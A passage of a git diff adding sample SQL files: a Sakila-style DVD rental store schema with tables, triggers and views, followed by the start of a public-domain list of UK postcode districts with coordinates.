+  country VARCHAR(50) NOT NULL,
+  last_update TIMESTAMP,
+  PRIMARY KEY  (country_id)
+)
+;
+
+CREATE TRIGGER country_trigger_ai AFTER INSERT ON country
+ BEGIN
+  UPDATE country SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER country_trigger_au AFTER UPDATE ON country
+ BEGIN
+  UPDATE country SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table city
+--
+
+CREATE TABLE city (
+  city_id int NOT NULL,
+  city VARCHAR(50) NOT NULL,
+  country_id SMALLINT NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (city_id),
+  CONSTRAINT fk_city_country FOREIGN KEY (country_id) REFERENCES country (country_id) ON DELETE NO ACTION ON UPDATE CASCADE
+)
+;
+CREATE  INDEX idx_fk_country_id ON city(country_id)
+;
+
+CREATE TRIGGER city_trigger_ai AFTER INSERT ON city
+ BEGIN
+  UPDATE city SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER city_trigger_au AFTER UPDATE ON city
+ BEGIN
+  UPDATE city SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table address
+--
+
+CREATE TABLE address (
+  address_id int NOT NULL,
+  address VARCHAR(50) NOT NULL,
+  address2 VARCHAR(50) DEFAULT NULL,
+  district VARCHAR(20) NOT NULL,
+  city_id INT  NOT NULL,
+  postal_code VARCHAR(10) DEFAULT NULL,
+  phone VARCHAR(20) NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (address_id),
+  CONSTRAINT fk_address_city FOREIGN KEY (city_id) REFERENCES city (city_id) ON DELETE NO ACTION ON UPDATE CASCADE
+)
+;
+
+CREATE  INDEX idx_fk_city_id ON address(city_id)
+;
+
+CREATE TRIGGER address_trigger_ai AFTER INSERT ON address
+ BEGIN
+  UPDATE address SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER address_trigger_au AFTER UPDATE ON address
+ BEGIN
+  UPDATE address SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table language
+--
+
+CREATE TABLE language (
+  language_id SMALLINT NOT NULL ,
+  name CHAR(20) NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY (language_id)
+)
+;
+
+CREATE TRIGGER language_trigger_ai AFTER INSERT ON language
+ BEGIN
+  UPDATE language SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER language_trigger_au AFTER UPDATE ON language
+ BEGIN
+  UPDATE language SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table category
+--
+
+CREATE TABLE category (
+  category_id SMALLINT NOT NULL,
+  name VARCHAR(25) NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (category_id)
+);
+
+CREATE TRIGGER category_trigger_ai AFTER INSERT ON category
+ BEGIN
+  UPDATE category SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER category_trigger_au AFTER UPDATE ON category
+ BEGIN
+  UPDATE category SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table customer
+--
+
+CREATE TABLE customer (
+  customer_id INT NOT NULL,
+  store_id INT NOT NULL,
+  first_name VARCHAR(45) NOT NULL,
+  last_name VARCHAR(45) NOT NULL,
+  email VARCHAR(50) DEFAULT NULL,
+  address_id INT NOT NULL,
+  active CHAR(1) DEFAULT 'Y' NOT NULL,
+  create_date TIMESTAMP NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (customer_id),
+  CONSTRAINT fk_customer_store FOREIGN KEY (store_id) REFERENCES store (store_id) ON DELETE NO ACTION ON UPDATE CASCADE,
+  CONSTRAINT fk_customer_address FOREIGN KEY (address_id) REFERENCES address (address_id) ON DELETE NO ACTION ON UPDATE CASCADE
+)
+;
+
+CREATE  INDEX idx_customer_fk_store_id ON customer(store_id)
+;
+CREATE  INDEX idx_customer_fk_address_id ON customer(address_id)
+;
+CREATE  INDEX idx_customer_last_name ON customer(last_name)
+;
+
+CREATE TRIGGER customer_trigger_ai AFTER INSERT ON customer
+ BEGIN
+  UPDATE customer SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER customer_trigger_au AFTER UPDATE ON customer
+ BEGIN
+  UPDATE customer SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table film
+--
+
+CREATE TABLE film (
+  film_id int NOT NULL,
+  title VARCHAR(255) NOT NULL,
+  description BLOB SUB_TYPE TEXT DEFAULT NULL,
+  release_year VARCHAR(4) DEFAULT NULL,
+  language_id SMALLINT NOT NULL,
+  original_language_id SMALLINT DEFAULT NULL,
+  rental_duration SMALLINT  DEFAULT 3 NOT NULL,
+  rental_rate DECIMAL(4,2) DEFAULT 4.99 NOT NULL,
+  length SMALLINT DEFAULT NULL,
+  replacement_cost DECIMAL(5,2) DEFAULT 19.99 NOT NULL,
+  rating VARCHAR(10) DEFAULT 'G',
+  special_features VARCHAR(100) DEFAULT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (film_id),
+  CONSTRAINT CHECK_special_features CHECK(special_features is null or
+                                                           special_features like '%Trailers%' or
+                                                           special_features like '%Commentaries%' or
+                                                           special_features like '%Deleted Scenes%' or
+                                                           special_features like '%Behind the Scenes%'),
+  CONSTRAINT CHECK_special_rating CHECK(rating in ('G','PG','PG-13','R','NC-17')),
+  CONSTRAINT fk_film_language FOREIGN KEY (language_id) REFERENCES language (language_id) ,
+  CONSTRAINT fk_film_language_original FOREIGN KEY (original_language_id) REFERENCES language (language_id)
+)
+;
+CREATE  INDEX idx_fk_language_id ON film(language_id)
+;
+CREATE  INDEX idx_fk_original_language_id ON film(original_language_id)
+;
+
+CREATE TRIGGER film_trigger_ai AFTER INSERT ON film
+ BEGIN
+  UPDATE film SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER film_trigger_au AFTER UPDATE ON film
+ BEGIN
+  UPDATE film SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table film_actor
+--
+
+CREATE TABLE film_actor (
+  actor_id INT NOT NULL,
+  film_id  INT NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (actor_id,film_id),
+  CONSTRAINT fk_film_actor_actor FOREIGN KEY (actor_id) REFERENCES actor (actor_id) ON DELETE NO ACTION ON UPDATE CASCADE,
+  CONSTRAINT fk_film_actor_film FOREIGN KEY (film_id) REFERENCES film (film_id) ON DELETE NO ACTION ON UPDATE CASCADE
+)
+;
+
+CREATE  INDEX idx_fk_film_actor_film ON film_actor(film_id)
+;
+
+CREATE  INDEX idx_fk_film_actor_actor ON film_actor(actor_id) 
+;
+
+CREATE TRIGGER film_actor_trigger_ai AFTER INSERT ON film_actor
+ BEGIN
+  UPDATE film_actor SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER film_actor_trigger_au AFTER UPDATE ON film_actor
+ BEGIN
+  UPDATE film_actor SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+
+--
+-- Table structure for table film_category
+--
+
+CREATE TABLE film_category (
+  film_id INT NOT NULL,
+  category_id SMALLINT  NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY (film_id, category_id),
+  CONSTRAINT fk_film_category_film FOREIGN KEY (film_id) REFERENCES film (film_id) ON DELETE NO ACTION ON UPDATE CASCADE,
+  CONSTRAINT fk_film_category_category FOREIGN KEY (category_id) REFERENCES category (category_id) ON DELETE NO ACTION ON UPDATE CASCADE
+)
+;
+
+CREATE  INDEX idx_fk_film_category_film ON film_category(film_id)
+;
+
+CREATE  INDEX idx_fk_film_category_category ON film_category(category_id)
+;
+
+CREATE TRIGGER film_category_trigger_ai AFTER INSERT ON film_category
+ BEGIN
+  UPDATE film_category SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER film_category_trigger_au AFTER UPDATE ON film_category
+ BEGIN
+  UPDATE film_category SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table film_text
+--
+
+CREATE TABLE film_text (
+  film_id SMALLINT NOT NULL,
+  title VARCHAR(255) NOT NULL,
+  description BLOB SUB_TYPE TEXT,
+  PRIMARY KEY  (film_id)
+)
+;
+
+--
+-- Table structure for table inventory
+--
+
+CREATE TABLE inventory (
+  inventory_id INT NOT NULL,
+  film_id INT NOT NULL,
+  store_id INT NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (inventory_id),
+  CONSTRAINT fk_inventory_store FOREIGN KEY (store_id) REFERENCES store (store_id) ON DELETE NO ACTION ON UPDATE CASCADE,
+  CONSTRAINT fk_inventory_film FOREIGN KEY (film_id) REFERENCES film (film_id) ON DELETE NO ACTION ON UPDATE CASCADE
+)
+;
+
+CREATE  INDEX idx_fk_film_id ON inventory(film_id)
+;
+
+CREATE  INDEX idx_fk_film_id_store_id ON inventory(store_id,film_id)
+;
+
+CREATE TRIGGER inventory_trigger_ai AFTER INSERT ON inventory
+ BEGIN
+  UPDATE inventory SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER inventory_trigger_au AFTER UPDATE ON inventory
+ BEGIN
+  UPDATE inventory SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table staff
+--
+
+CREATE TABLE staff (
+  staff_id SMALLINT NOT NULL,
+  first_name VARCHAR(45) NOT NULL,
+  last_name VARCHAR(45) NOT NULL,
+  address_id INT NOT NULL,
+  picture BLOB DEFAULT NULL,
+  email VARCHAR(50) DEFAULT NULL,
+  store_id INT NOT NULL,
+  active SMALLINT DEFAULT 1 NOT NULL,
+  username VARCHAR(16) NOT NULL,
+  password VARCHAR(40) DEFAULT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (staff_id),
+  CONSTRAINT fk_staff_store FOREIGN KEY (store_id) REFERENCES store (store_id) ON DELETE NO ACTION ON UPDATE CASCADE,
+  CONSTRAINT fk_staff_address FOREIGN KEY (address_id) REFERENCES address (address_id) ON DELETE NO ACTION ON UPDATE CASCADE
+)
+;
+CREATE  INDEX idx_fk_staff_store_id ON staff(store_id)
+;
+
+CREATE  INDEX idx_fk_staff_address_id ON staff(address_id)
+;
+
+CREATE TRIGGER staff_trigger_ai AFTER INSERT ON staff
+ BEGIN
+  UPDATE staff SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER staff_trigger_au AFTER UPDATE ON staff
+ BEGIN
+  UPDATE staff SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table store
+--
+
+CREATE TABLE store (
+  store_id INT NOT NULL,
+  manager_staff_id SMALLINT NOT NULL,
+  address_id INT NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (store_id),
+  CONSTRAINT fk_store_staff FOREIGN KEY (manager_staff_id) REFERENCES staff (staff_id) ,
+  CONSTRAINT fk_store_address FOREIGN KEY (address_id) REFERENCES address (address_id)
+)
+;
+
+CREATE  INDEX idx_store_fk_manager_staff_id ON store(manager_staff_id)
+;
+
+CREATE  INDEX idx_fk_store_address ON store(address_id)
+;
+
+CREATE TRIGGER store_trigger_ai AFTER INSERT ON store
+ BEGIN
+  UPDATE store SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER store_trigger_au AFTER UPDATE ON store
+ BEGIN
+  UPDATE store SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+--
+-- Table structure for table payment
+--
+
+CREATE TABLE payment (
+  payment_id int NOT NULL,
+  customer_id INT  NOT NULL,
+  staff_id SMALLINT NOT NULL,
+  rental_id INT DEFAULT NULL,
+  amount DECIMAL(5,2) NOT NULL,
+  payment_date TIMESTAMP NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (payment_id),
+  CONSTRAINT fk_payment_rental FOREIGN KEY (rental_id) REFERENCES rental (rental_id) ON DELETE SET NULL ON UPDATE CASCADE,
+  CONSTRAINT fk_payment_customer FOREIGN KEY (customer_id) REFERENCES customer (customer_id) ,
+  CONSTRAINT fk_payment_staff FOREIGN KEY (staff_id) REFERENCES staff (staff_id)
+)
+;
+CREATE  INDEX idx_fk_staff_id ON payment(staff_id)
+;
+CREATE  INDEX idx_fk_customer_id ON payment(customer_id)
+;
+
+CREATE TRIGGER payment_trigger_ai AFTER INSERT ON payment
+ BEGIN
+  UPDATE payment SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER payment_trigger_au AFTER UPDATE ON payment
+ BEGIN
+  UPDATE payment SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+CREATE TABLE rental (
+  rental_id INT NOT NULL,
+  rental_date TIMESTAMP NOT NULL,
+  inventory_id INT  NOT NULL,
+  customer_id INT  NOT NULL,
+  return_date TIMESTAMP DEFAULT NULL,
+  staff_id SMALLINT  NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY (rental_id),
+  CONSTRAINT fk_rental_staff FOREIGN KEY (staff_id) REFERENCES staff (staff_id) ,
+  CONSTRAINT fk_rental_inventory FOREIGN KEY (inventory_id) REFERENCES inventory (inventory_id) ,
+  CONSTRAINT fk_rental_customer FOREIGN KEY (customer_id) REFERENCES customer (customer_id)
+)
+;
+CREATE INDEX idx_rental_fk_inventory_id ON rental(inventory_id)
+;
+CREATE INDEX idx_rental_fk_customer_id ON rental(customer_id)
+;
+CREATE INDEX idx_rental_fk_staff_id ON rental(staff_id)
+;
+CREATE UNIQUE INDEX   idx_rental_uq  ON rental (rental_date,inventory_id,customer_id)
+;
+
+CREATE TRIGGER rental_trigger_ai AFTER INSERT ON rental
+ BEGIN
+  UPDATE rental SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER rental_trigger_au AFTER UPDATE ON rental
+ BEGIN
+  UPDATE rental SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+--
+-- View structure for view customer_list
+--
+
+CREATE VIEW customer_list
+AS
+SELECT cu.customer_id AS ID,
+       cu.first_name||' '||cu.last_name AS name,
+       a.address AS address,
+       a.postal_code AS zip_code,
+       a.phone AS phone,
+       city.city AS city,
+       country.country AS country,
+       case when cu.active=1 then 'active' else '' end AS notes,
+       cu.store_id AS SID
+FROM customer AS cu JOIN address AS a ON cu.address_id = a.address_id JOIN city ON a.city_id = city.city_id
+    JOIN country ON city.country_id = country.country_id
+;
+--
+-- View structure for view film_list
+--
+
+CREATE VIEW film_list
+AS
+SELECT film.film_id AS FID,
+       film.title AS title,
+       film.description AS description,
+       category.name AS category,
+       film.rental_rate AS price,
+       film.length AS length,
+       film.rating AS rating,
+       actor.first_name||' '||actor.last_name AS actors
+FROM category LEFT JOIN film_category ON category.category_id = film_category.category_id LEFT JOIN film ON film_category.film_id = film.film_id
+        JOIN film_actor ON film.film_id = film_actor.film_id
+    JOIN actor ON film_actor.actor_id = actor.actor_id
+;
+
+--
+-- View structure for view staff_list
+--
+
+CREATE VIEW staff_list
+AS
+SELECT s.staff_id AS ID,
+       s.first_name||' '||s.last_name AS name,
+       a.address AS address,
+       a.postal_code AS zip_code,
+       a.phone AS phone,
+       city.city AS city,
+       country.country AS country,
+       s.store_id AS SID
+FROM staff AS s JOIN address AS a ON s.address_id = a.address_id JOIN city ON a.city_id = city.city_id
+    JOIN country ON city.country_id = country.country_id
+;
+--
+-- View structure for view sales_by_store
+--
+
+CREATE VIEW sales_by_store
+AS
+SELECT
+  s.store_id
+ ,c.city||','||cy.country AS store
+ ,m.first_name||' '||m.last_name AS manager
+ ,SUM(p.amount) AS total_sales
+FROM payment AS p
+INNER JOIN rental AS r ON p.rental_id = r.rental_id
+INNER JOIN inventory AS i ON r.inventory_id = i.inventory_id
+INNER JOIN store AS s ON i.store_id = s.store_id
+INNER JOIN address AS a ON s.address_id = a.address_id
+INNER JOIN city AS c ON a.city_id = c.city_id
+INNER JOIN country AS cy ON c.country_id = cy.country_id
+INNER JOIN staff AS m ON s.manager_staff_id = m.staff_id
+GROUP BY  
+  s.store_id
+, c.city||','||cy.country
+, m.first_name||' '||m.last_name
+;
+--
+-- View structure for view sales_by_film_category
+--
+-- Note that total sales will add up to >100% because
+-- some titles belong to more than 1 category
+--
+
+CREATE VIEW sales_by_film_category
+AS
+SELECT
+c.name AS category
+, SUM(p.amount) AS total_sales
+FROM payment AS p
+INNER JOIN rental AS r ON p.rental_id = r.rental_id
+INNER JOIN inventory AS i ON r.inventory_id = i.inventory_id
+INNER JOIN film AS f ON i.film_id = f.film_id
+INNER JOIN film_category AS fc ON f.film_id = fc.film_id
+INNER JOIN category AS c ON fc.category_id = c.category_id
+GROUP BY c.name
+;
+
+--
+-- View structure for view actor_info
+--
+
+/*
+CREATE VIEW actor_info
+AS
+SELECT
+a.actor_id,
+a.first_name,
+a.last_name,
+GROUP_CONCAT(DISTINCT CONCAT(c.name, ': ',
+        (SELECT GROUP_CONCAT(f.title ORDER BY f.title SEPARATOR ', ')
+                    FROM sakila.film f
+                    INNER JOIN sakila.film_category fc
+                      ON f.film_id = fc.film_id
+                    INNER JOIN sakila.film_actor fa
+                      ON f.film_id = fa.film_id
+                    WHERE fc.category_id = c.category_id
+                    AND fa.actor_id = a.actor_id
+                 )
+             )
+             ORDER BY c.name SEPARATOR '; ')
+AS film_info
+FROM sakila.actor a
+LEFT JOIN sakila.film_actor fa
+  ON a.actor_id = fa.actor_id
+LEFT JOIN sakila.film_category fc
+  ON fa.film_id = fc.film_id
+LEFT JOIN sakila.category c
+  ON fc.category_id = c.category_id
+GROUP BY a.actor_id, a.first_name, a.last_name;
+*/
+
+-- TO DO PROCEDURES
+-- TO DO TRIGGERS
+
diff --git a/samples/SQL/zipcodes.uk.mysql b/samples/SQL/zipcodes.uk.mysql
new file mode 100644
index 0000000000..ad3a1ab735
--- /dev/null
+++ b/samples/SQL/zipcodes.uk.mysql
@@ -0,0 +1,2934 @@
+-- This information is public domain and comes from http://www.npemap.org.uk/ see http://drupal.org/node/19482
+-- This script was built using data from http://www.jibble.org/ukpostcodes/ and http://www.npemap.org.uk/data/outward1list
+
+INSERT INTO zipcodes (zip, city, state, latitude, longitude, timezone, dst, country) VALUES
+('AB10', '', '', '57.135', '-2.117', 0, 1, 'uk'),
+('AB11', '', '', '57.138', '-2.092', 0, 1, 'uk'),
+('AB12', '', '', '57.101', '-2.111', 0, 1, 'uk'),
+('AB13', '', '', '57.108', '-2.237', 0, 1, 'uk'),
+('AB14', '', '', '57.101', '-2.27', 0, 1, 'uk'),
+('AB15', '', '', '57.138', '-2.164', 0, 1, 'uk'),
+('AB16', '', '', '57.161', '-2.156', 0, 1, 'uk'),
+('AB21', '', '', '57.21', '-2.2', 0, 1, 'uk'),
+('AB22', '', '', '57.187', '-2.119', 0, 1, 'uk'),
+('AB23', '', '', '57.212', '-2.088', 0, 1, 'uk'),
+('AB24', '', '', '57.174638', '-2.036434', 0, 1, 'uk'),
+('AB25', '', '', '57.153', '-2.112', 0, 1, 'uk'),
+('AB3', '', '', '56.966462', '-2.225953', 0, 1, 'uk'),
+('AB30', '', '', '56.847', '-2.477', 0, 1, 'uk'),
+('AB31', '', '', '57.074', '-2.527', 0, 1, 'uk'),
+('AB32', '', '', '57.156', '-2.317', 0, 1, 'uk'),
+('AB33', '', '', '57.225', '-2.741', 0, 1, 'uk'),
+('AB34', '', '', '57.094', '-2.812', 0, 1, 'uk'),
+('AB35', '', '', '57.038', '-3.149', 0, 1, 'uk'),
+('AB36', '', '', '57.197', '-3.067', 0, 1, 'uk'),
+('AB37', '', '', '57.331', '-3.351', 0, 1, 'uk'),
+('AB38', '', '', '57.486', '-3.225', 0, 1, 'uk'),
+('AB39', '', '', '56.978', '-2.217', 0, 1, 'uk'),
+('AB41', '', '', '57.376', '-2.105', 0, 1, 'uk'),
+('AB42', '', '', '57.501', '-1.888', 0, 1, 'uk'),
+('AB43', '', '', '57.658', '-2.043', 0, 1, 'uk'),
+('AB44', '', '', '57.669', '-2.492', 0, 1, 'uk'),
+('AB45', '', '', '57.651', '-2.566', 0, 1, 'uk'),
+('AB51', '', '', '57.289', '-2.405', 0, 1, 'uk'),
+('AB52', '', '', '57.344', '-2.607', 0, 1, 'uk'),
+('AB53', '', '', '57.525', '-2.393', 0, 1, 'uk'),
+('AB54', '', '', '57.454', '-2.763', 0, 1, 'uk'),
+('AB55', '', '', '57.524', '-2.99', 0, 1, 'uk'),
+('AB56', '', '', '57.675', '-2.926', 0, 1, 'uk'),
+('AB64', '', '', '57.356073', '-2.764582', 0, 1, 'uk'),
+('AL1', '', '', '51.748', '-0.322', 0, 1, 'uk'),
+('AL10', '', '', '51.76', '-0.23', 0, 1, 'uk'),
+('AL2', '', '', '51.72', '-0.333', 0, 1, 'uk'),
+('AL3', '', '', '51.778', '-0.37', 0, 1, 'uk'),
+('AL4', '', '', '51.772', '-0.294', 0, 1, 'uk'),
+('AL5', '', '', '51.816', '-0.351', 0, 1, 'uk'),
+('AL6', '', '', '51.831', '-0.197', 0, 1, 'uk'),
+('AL7', '', '', '51.797', '-0.186', 0, 1, 'uk'),
+('AL8', '', '', '51.803', '-0.209', 0, 1, 'uk'),
+('AL9', '', '', '51.745', '-0.199', 0, 1, 'uk'),
+('B1', '', '', '52.478', '-1.907', 0, 1, 'uk'),
+('B10', '', '', '52.47', '-1.851', 0, 1, 'uk'),
+('B11', '', '', '52.454', '-1.858', 0, 1, 'uk'),
+('B12', '', '', '52.46', '-1.882', 0, 1, 'uk'),
+('B13', '', '', '52.437', '-1.878', 0, 1, 'uk'),
+('B14', '', '', '52.417', '-1.889', 0, 1, 'uk'),
+('B15', '', '', '52.467', '-1.924', 0, 1, 'uk'),
+('B16', '', '', '52.476', '-1.933', 0, 1, 'uk'),
+('B17', '', '', '52.461', '-1.961', 0, 1, 'uk'),
+('B18', '', '', '52.491', '-1.924', 0, 1, 'uk'),
+('B19', '', '', '52.496', '-1.905', 0, 1, 'uk'),
+('B2', '', '', '52.479', '-1.897', 0, 1, 'uk'),
+('B20', '', '', '52.514', '-1.918', 0, 1, 'uk'),
+('B21', '', '', '52.506', '-1.939', 0, 1, 'uk'),
+('B23', '', '', '52.528', '-1.854', 0, 1, 'uk'),
+('B24', '', '', '52.519', '-1.827', 0, 1, 'uk'),
+('B25', '', '', '52.465', '-1.82', 0, 1, 'uk'),
+('B26', '', '', '52.461', '-1.79', 0, 1, 'uk'),
+('B27', '', '', '52.445', '-1.822', 0, 1, 'uk'),
+('B28', '', '', '52.427', '-1.842', 0, 1, 'uk'),
+('B29', '', '', '52.437', '-1.947', 0, 1, 'uk'),
+('B3', '', '', '52.48', '-1.902', 0, 1, 'uk'),
+('B30', '', '', '52.422', '-1.927', 0, 1, 'uk'),
+('B31', '', '', '52.408', '-1.972', 0, 1, 'uk'),
+('B32', '', '', '52.448', '-1.993', 0, 1, 'uk'),
+('B33', '', '', '52.48', '-1.787', 0, 1, 'uk'),
+('B34', '', '', '52.496', '-1.781', 0, 1, 'uk'),
+('B35', '', '', '52.519', '-1.788', 0, 1, 'uk'),
+('B36', '', '', '52.504', '-1.779', 0, 1, 'uk'),
+('B37', '', '', '52.478', '-1.741', 0, 1, 'uk'),
+('B38', '', '', '52.4', '-1.933', 0, 1, 'uk'),
+('B4', '', '', '52.482', '-1.894', 0, 1, 'uk'),
+('B40', '', '', '52.459', '-1.722', 0, 1, 'uk'),
+('B42', '', '', '52.533', '-1.911', 0, 1, 'uk'),
+('B43', '', '', '52.548', '-1.929', 0, 1, 'uk'),
+('B44', '', '', '52.545', '-1.884', 0, 1, 'uk'),
+('B45', '', '', '52.388', '-2.009', 0, 1, 'uk'),
+('B46', '', '', '52.508', '-1.694', 0, 1, 'uk'),
+('B47', '', '', '52.387', '-1.88', 0, 1, 'uk'),
+('B48', '', '', '52.355', '-1.948', 0, 1, 'uk'),
+('B49', '', '', '52.217', '-1.867', 0, 1, 'uk'),
+('B5', '', '', '52.47', '-1.896', 0, 1, 'uk'),
+('B50', '', '', '52.169', '-1.854', 0, 1, 'uk'),
+('B6', '', '', '52.504', '-1.885', 0, 1, 'uk'),
+('B60', '', '', '52.326', '-2.049', 0, 1, 'uk'),
+('B61', '', '', '52.345', '-2.067', 0, 1, 'uk'),
+('B62', '', '', '52.456', '-2.032', 0, 1, 'uk'),
+('B63', '', '', '52.452', '-2.067', 0, 1, 'uk'),
+('B64', '', '', '52.472', '-2.068', 0, 1, 'uk'),
+('B65', '', '', '52.483', '-2.042', 0, 1, 'uk'),
+('B66', '', '', '52.493', '-1.964', 0, 1, 'uk'),
+('B67', '', '', '52.486', '-1.977', 0, 1, 'uk'),
+('B68', '', '', '52.479', '-2', 0, 1, 'uk'),
+('B69', '', '', '52.502', '-2.028', 0, 1, 'uk'),
+('B7', '', '', '52.493', '-1.873', 0, 1, 'uk'),
+('B70', '', '', '52.52', '-2.003', 0, 1, 'uk'),
+('B71', '', '', '52.535', '-1.989', 0, 1, 'uk'),
+('B72', '', '', '52.552', '-1.821', 0, 1, 'uk'),
+('B73', '', '', '52.552', '-1.841', 0, 1, 'uk'),
+('B74', '', '', '52.583', '-1.858', 0, 1, 'uk'),
+('B75', '', '', '52.578', '-1.809', 0, 1, 'uk'),
+('B76', '', '', '52.545', '-1.785', 0, 1, 'uk'),
+('B77', '', '', '52.618', '-1.667', 0, 1, 'uk'),
+('B78', '', '', '52.606', '-1.673', 0, 1, 'uk'),
+('B79', '', '', '52.65', '-1.681', 0, 1, 'uk'),
+('B8', '', '', '52.49', '-1.84', 0, 1, 'uk'),
+('B80', '', '', '52.277', '-1.895', 0, 1, 'uk'),
+('B9', '', '', '52.478', '-1.849', 0, 1, 'uk'),
+('B90', '', '', '52.4', '-1.824', 0, 1, 'uk'),
+('B91', '', '', '52.413', '-1.782', 0, 1, 'uk'),
+('B92', '', '', '52.436', '-1.774', 0, 1, 'uk'),
+('B93', '', '', '52.38', '-1.743', 0, 1, 'uk'),
+('B94', '', '', '52.351', '-1.791', 0, 1, 'uk'),
+('B95', '', '', '52.285', '-1.779', 0, 1, 'uk'),
+('B96', '', '', '52.252', '-1.96', 0, 1, 'uk'),
+('B97', '', '', '52.299', '-1.954', 0, 1, 'uk'),
+('B98', '', '', '52.303', '-1.914', 0, 1, 'uk'),
+('BA1', '', '', '51.391', '-2.36', 0, 1, 'uk'),
+('BA10', '', '', '51.113', '-2.446', 0, 1, 'uk'),
+('BA11', '', '', '51.236', '-2.325', 0, 1, 'uk'),
+('BA12', '', '', '51.171', '-2.187', 0, 1, 'uk'),
+('BA13', '', '', '51.262', '-2.179', 0, 1, 'uk'),
+('BA14', '', '', '51.318', '-2.201', 0, 1, 'uk'),
+('BA15', '', '', '51.351', '-2.265', 0, 1, 'uk'),
+('BA16', '', '', '51.125', '-2.743', 0, 1, 'uk'),
+('BA2', '', '', '51.36', '-2.377', 0, 1, 'uk'),
+('BA20', '', '', '50.938', '-2.642', 0, 1, 'uk'),
+('BA21', '', '', '50.951', '-2.633', 0, 1, 'uk'),
+('BA22', '', '', '50.968', '-2.637', 0, 1, 'uk'),
+('BA3', '', '', '51.275', '-2.473', 0, 1, 'uk'),
+('BA4', '', '', '51.171', '-2.531', 0, 1, 'uk'),
+('BA5', '', '', '51.212', '-2.653', 0, 1, 'uk'),
+('BA6', '', '', '51.141', '-2.705', 0, 1, 'uk'),
+('BA7', '', '', '51.089', '-2.518', 0, 1, 'uk'),
+('BA8', '', '', '50.999', '-2.411', 0, 1, 'uk'),
+('BA9', '', '', '51.057', '-2.409', 0, 1, 'uk'),
+('BB1', '', '', '53.756', '-2.462', 0, 1, 'uk'),
+('BB10', '', '', '53.799', '-2.219', 0, 1, 'uk'),
+('BB11', '', '', '53.783', '-2.252', 0, 1, 'uk'),
+('BB12', '', '', '53.803', '-2.29', 0, 1, 'uk'),
+('BB18', '', '', '53.914', '-2.171', 0, 1, 'uk'),
+('BB2', '', '', '53.741', '-2.5', 0, 1, 'uk'),
+('BB3', '', '', '53.698', '-2.465', 0, 1, 'uk'),
+('BB4', '', '', '53.703', '-2.29', 0, 1, 'uk'),
+('BB5', '', '', '53.754', '-2.371', 0, 1, 'uk'),
+('BB6', '', '', '53.792', '-2.417', 0, 1, 'uk'),
+('BB7', '', '', '53.874', '-2.386', 0, 1, 'uk'),
+('BB8', '', '', '53.858', '-2.163', 0, 1, 'uk'),
+('BB9', '', '', '53.837', '-2.214', 0, 1, 'uk'),
+('BD1', '', '', '53.796', '-1.752', 0, 1, 'uk'),
+('BD10', '', '', '53.832', '-1.725', 0, 1, 'uk'),
+('BD11', '', '', '53.751', '-1.676', 0, 1, 'uk'),
+('BD12', '', '', '53.746', '-1.761', 0, 1, 'uk'),
+('BD13', '', '', '53.786', '-1.859', 0, 1, 'uk'),
+('BD14', '', '', '53.782', '-1.816', 0, 1, 'uk'),
